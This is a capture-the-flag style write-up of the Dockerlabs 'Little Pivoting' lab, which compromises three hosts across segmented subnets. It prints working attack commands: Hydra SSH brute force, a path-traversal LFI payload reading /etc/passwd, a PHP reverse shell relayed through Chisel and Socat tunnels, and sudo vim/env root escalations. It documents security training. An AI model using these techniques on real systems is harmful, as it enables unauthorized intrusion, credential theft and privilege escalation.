| Platform | Dockerlabs |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| InitialVector | SSH Bruteforce, LFI/Path Traversal, Unrestricted File Upload |
| Privesc | sudo vim, sudo env |
Disclaimer: The screenshots in this writeup may not appear in the exact chronological order of the exploitation process. I had an issue while organizing the images, so some of them may be slightly out of sequence.
Little Pivoting¶
This lab is built around three machines distributed across three different subnets. The goal is to compromise the first host, use it to pivot into the second subnet, compromise the second host, and finally use both pivot points to reach the last machine in a third isolated subnet.
The lab networks were configured as follows:
pivoting1→10.10.10.0/24with gateway10.10.10.1pivoting2→20.20.20.0/24with gateway20.20.20.1pivoting3→30.30.30.0/24with gateway30.30.30.1
From the attacker’s perspective, only the first subnet was reachable directly. Everything else had to be accessed by pivoting through compromised hosts.
Network Reconnaissance¶
I began by identifying the networks directly accessible from the attacker machine. The attacker had direct connectivity to 10.10.10.0/24, and its address on that network was 10.10.10.1.
To identify live hosts on that segment, I performed host discovery against the bridge interface.
arp-scan -I br-fa2ec18fa7aa --localnet
This revealed a target at 10.10.10.2.
Trust¶
Port Enumeration¶
With a live host identified, I ran a full TCP scan to determine exposed services.
nmap -sV -sC -p- --min-rate 5000 10.10.10.2 -n -Pn
The scan showed:
22/tcp→ OpenSSH9.2p180/tcp→ Apache httpd2.4.57on Debian
Web Enumeration¶
Browsing to http://10.10.10.2 returned the default Apache2 Debian page.
To look for hidden content, I performed directory enumeration.
gobuster dir -u http://10.10.10.2/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,html,txt -r
The scan discovered:
index.htmlsecret.phpserver-status(403)
The most interesting file was secret.php. Visiting it displayed the message:
“Hola Mario, esta web no se puede hackear”
That message strongly suggested that mario could be a valid local user, so I tested that assumption against SSH.
Initial Access¶
Using the username clue from the web application, I launched a password brute-force attack with Hydra.
hydra -l mario -P /usr/share/wordlists/rockyou.txt 10.10.10.2 ssh
Hydra returned valid credentials:
- Username:
mario - Password:
chocolate
I then logged in over SSH.
After authentication, I prepared the shell for better terminal handling.
export TERM=xterm
This provided interactive access to the first machine.
Privilege Escalation¶
The next step was to review sudo permissions for the compromised user.
sudo -l
The output showed that mario could run /usr/bin/vim with elevated privileges.
Since vim is a well-known GTFOBins entry, it can be abused to spawn a shell as root.
sudo vim
Inside vim, I executed:
:!/bin/bash -i
This successfully returned a root shell.
Preparing the First Pivot¶
With root access on the first machine, I inspected its network interfaces to determine whether it could see any internal networks that were not directly reachable from Kali.
ifconfig
The host had:
eth0→10.10.10.2eth1→20.20.20.2
This was the first real pivot point. Kali could only reach 10.10.10.0/24, but this compromised host also had access to 20.20.20.0/24. That meant any traffic destined for the second subnet had to be sent through this machine.
To do that cleanly, I used Chisel to create a reverse SOCKS tunnel.
The idea was simple:
- Run a Chisel server on Kali.
- Make the compromised host connect back to Kali.
- Ask Chisel to expose a SOCKS proxy on Kali.
- Route tooling through that SOCKS proxy so traffic leaves through the compromised machine and reaches
20.20.20.0/24.
Deploying Chisel¶
First, I downloaded chisel on Kali and served it locally so the compromised host could retrieve it.
python3 -m http.server 5000
On the compromised machine, I downloaded the binary with wget.
wget http://10.10.10.1/chisel
On Kali, I started the Chisel server in reverse mode.
chmod +x chisel
./chisel server --reverse --p 5555
Then, on the compromised machine, I launched the client and requested a reverse SOCKS tunnel.
chmod +x chisel
./chisel client 10.10.10.1:5555 R:socks
This step is important to understand correctly:
- The client ran on the compromised host.
- The server ran on Kali.
- Because the tunnel was started with
R:socks, Chisel exposed a SOCKS listener on Kali, typically at127.0.0.1:1080. - Any tool sent through that local SOCKS proxy would actually exit from the compromised host, not from Kali.
That is what made the pivot possible.
Since that terminal remained occupied by the Chisel client, I opened a new SSH session to the first machine and regained root the same way as before.
Proxychains Configuration¶
To make local tools use the newly created SOCKS tunnel, I edited the Proxychains configuration.
nano /etc/proxychains4.conf
I added the following entry:
socks5 127.0.0.1 1080
At this point, Kali could reach hosts inside 20.20.20.0/24 by sending traffic through the SOCKS proxy published by Chisel.
Inclusion¶
Enumerating the Second Subnet Through the First Pivot¶
Now that the SOCKS tunnel was active on 127.0.0.1:1080, I used Proxychains to scan the next host in the second subnet.
proxychains nmap --min-rate 5000 -sT -Pn 20.20.20.3 2>/dev/null
This showed that 20.20.20.3 had:
22/tcp→ SSH80/tcp→ HTTP
To browse the target web application through the tunnel, I configured Firefox to use a manual SOCKS5 proxy pointing to 127.0.0.1:1080.
That allowed me to browse http://20.20.20.3 from Kali even though the subnet was not reachable directly.
I then enumerated web content through the same pivot.
proxychains dirb http://20.20.20.3/ 2>/dev/null
The interesting findings were:
index.htmlindex.php/shop
Discovering the LFI¶
Inside /shop, the page displayed the string:
Error de Sistema: ($_GET['archivo']);
This was a strong indicator that the application expected a GET parameter named archivo and likely used it when referencing a local file.
That parameter name immediately suggested a file-handling functionality. When an application accepts user input that appears to control a file path, the next logical question is whether the server validates that path properly or whether it can be manipulated to move outside the intended directory.
That is where path traversal comes in.
A path traversal vulnerability appears when an application accepts a path from user input and fails to restrict it to a safe directory. By supplying sequences such as ../, an attacker can move one directory upward at a time until reaching the filesystem root or another sensitive location.
In this case, the payload:
../../../../../../../../etc/passwd
attempts exactly that. Each ../ moves one level up from the current working directory. By chaining enough of them together, the request eventually escapes the application directory and reaches /etc/passwd.
When that traversal is combined with functionality that reads or includes a local file on the server, the issue becomes a Local File Inclusion (LFI). In other words:
../controls the path traversal- the vulnerable parameter causes the application to read a local file
- together, they allow arbitrary local files to be disclosed
Requesting the following URL confirmed the issue:
http://20.20.20.3/shop/?archivo=../../../../../../../../etc/passwd
The application returned the contents of /etc/passwd.
Among the entries, two local users stood out:
seller:x:1000:1000:seller,,,:/home/seller:/bin/bashmanchi:x:1001:1001:manchi,,,:/home/manchi:/bin/bash
SSH Brute Force via the Pivot¶
With likely usernames identified, I created a user list and attempted an SSH brute-force attack through Proxychains.
proxychains hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 20.20.20.3 ssh
Hydra returned valid credentials for the second host:
- Username:
manchi - Password:
lovely
I then logged in through the SOCKS tunnel.
proxychains ssh [email protected]
Enumerating the Second Pivot Host¶
I first checked whether manchi had any sudo rights.
sudo -l
manchi could not run anything via sudo.
Even without privilege escalation, the host was useful as a pivot. I listed its addresses to identify additional reachable networks.
hostname -i
The host had access to 30.30.30.0/24 and was assigned 30.30.30.2.
This meant the second compromised machine could reach the final target subnet.
Building the Second Pivot¶
Privilege escalation on the second machine was not required. The objective here was purely routing.
At this stage, the network path looked like this:
- Kali could directly reach
10.10.10.2 10.10.10.2could reach20.20.20.320.20.20.3could reach30.30.30.3
The challenge was that the second machine could not reach Kali directly. It could only reach the first pivot host on 20.20.20.2. Because of that, I used:
- Socat on the first pivot to relay traffic from the second pivot back to Kali
- Chisel on the second pivot to create another reverse SOCKS tunnel through that relay
In short, Chisel provided the SOCKS proxy, while Socat provided the transport bridge needed to carry the Chisel connection across the already compromised host.
Sending Chisel to the Second Host¶
I first hosted chisel from the initial compromised machine so the second host could download it over the internal network.
On the first machine:
python3 -m http.server 9999
On the second machine:
wget http://20.20.20.2:9999/chisel
Sending Socat to Both Pivot Hosts¶
To relay traffic cleanly across both layers, I also needed a static socat binary on both compromised machines.
On Kali:
python3 -m http.server 5000
On the first machine:
wget http://10.10.10.1:5000/socat
python3 -m http.server 9999
On the second machine:
wget http://20.20.20.2:9999/socat
Using Socat to Relay the Second Chisel Tunnel¶
The Chisel server on Kali was already listening on port 5555. The problem was that the second machine could not connect directly to 10.10.10.1:5555. It could, however, connect to the first machine at 20.20.20.2.
So on the first pivot, I used Socat to listen on port 1111 and forward all received traffic to Kali on port 5555.
chmod +x socat
./socat tcp-l:1111,fork,reuseaddr tcp:10.10.10.1:5555
This made the first pivot behave as a TCP bridge:
20.20.20.2:1111received the connection from the second host- Socat forwarded that stream to
10.10.10.1:5555 - Kali’s Chisel server handled the connection as if the second host had reached it directly
Then, on the second machine, I launched a second Chisel client and requested another reverse SOCKS tunnel, but this time bound to a different port to avoid colliding with the first tunnel on 1080.
chmod +x chisel
./chisel client 20.20.20.2:1111 R:7777:socks
This command works as follows:
- The Chisel client on the second machine connects to
20.20.20.2:1111 - Socat relays that connection to Kali on
10.10.10.1:5555 - Kali’s Chisel server accepts it
- Because the request was
R:7777:socks, Kali publishes a new local SOCKS proxy on127.0.0.1:7777
That proxy now represents traffic exiting from the second compromised host, which is exactly what was needed to reach 30.30.30.0/24.
Updating Proxychains for the New Tunnel¶
To use the new pivot, I updated /etc/proxychains4.conf.
I changed the chain mode and placed the new SOCKS entry above the original one so the new tunnel would be used for traffic targeting the third subnet.
I added:
socks5 127.0.0.1 7777
At this point, Kali could send traffic through the second host and reach the final target subnet.
Upload¶
Enumerating the Final Host Through Two Pivot Layers¶
With the second pivot in place, I scanned the final target.
sudo proxychains nmap --min-rate 5000 -sT -Pn -n 30.30.30.3 2>/dev/null
The final machine exposed only one service:
80/tcp→ HTTP
To browse it graphically, I again configured Firefox to use a SOCKS5 proxy, this time through the second tunnel.
Navigating to http://30.30.30.3 revealed a file upload page.
I also fuzzed for additional directories through the new SOCKS proxy.
gobuster dir -u http://30.30.30.3/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:7777
The only meaningful discovery was:
/uploads
Browsing to /uploads confirmed that uploaded files were web-accessible.
Building the Reverse Shell Path with Socat¶
At this point, uploading a PHP reverse shell was straightforward. The complicated part was routing the callback.
The final machine could not connect directly to Kali, so the reverse shell had to follow the same network path in reverse:
- Final host → second pivot
- Second pivot → first pivot
- First pivot → Kali
To make that possible, I used two Socat bridges, both listening on port 443.
On the first pivot host, I forwarded 443 to Kali’s 443.
./socat tcp-l:443,fork,reuseaddr tcp:10.10.10.1:443
This created the bridge between the first and second layers.
Next, on the second pivot host, I created another relay that listened on 443 and forwarded traffic to the first pivot at 20.20.20.2:443.
chmod +x socat
./socat tcp-l:443,fork,reuseaddr tcp:20.20.20.2:443
This completed the callback chain:
- the final host connects to
30.30.30.2:443 - the second pivot forwards to
20.20.20.2:443 - the first pivot forwards to
10.10.10.1:443 - Kali receives the connection locally
With that in place, I prepared a PHP reverse shell from PentestMonkey and set:
- IP:
30.30.30.2 - Port:
443
Because both Socat relays ultimately forwarded the callback to Kali on port 443, the Netcat listener on Kali had to listen on that same port.
nc -nvlp 443
After uploading the payload and requesting:
http://30.30.30.3/uploads/shell.php
I received a reverse shell successfully.
Stabilizing the Shell¶
To make the shell fully interactive, I upgraded it using the usual terminal-fixing sequence.
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 39 cols 166
Privilege Escalation on the Final Host¶
With shell access established, I enumerated sudo rights.
sudo -l
The output showed that the current user could run /usr/bin/env as root.
According to GTFOBins, env can be abused to spawn a root shell.
sudo /usr/bin/env /bin/sh
This successfully escalated privileges on the final machine.
Conclusion¶
This lab was a good exercise in chaining compromises across segmented networks.
The full attack path was:
- Compromise Trust on
10.10.10.2 - Escalate to root and use it as the first pivot into
20.20.20.0/24 - Exploit Inclusion on
20.20.20.3via LFI and SSH brute force - Use Inclusion as a second pivot into
30.30.30.0/24 - Compromise Upload on
30.30.30.3through the upload functionality - Route the reverse shell back across both pivot layers with Socat
- Escalate privileges on the final host using
env
The key technical lesson in this chain was understanding the role of each pivoting tool:
- Chisel created reverse SOCKS tunnels so Kali could originate traffic from compromised hosts inside unreachable networks.
- Socat relayed TCP streams between pivot layers when a deeper host could not connect to Kali directly.
- The path traversal/LFI on the second machine provided the local user enumeration needed to move forward with SSH access.
By combining those pieces correctly, it was possible to move cleanly from one subnet to the next until the final host was fully compromised.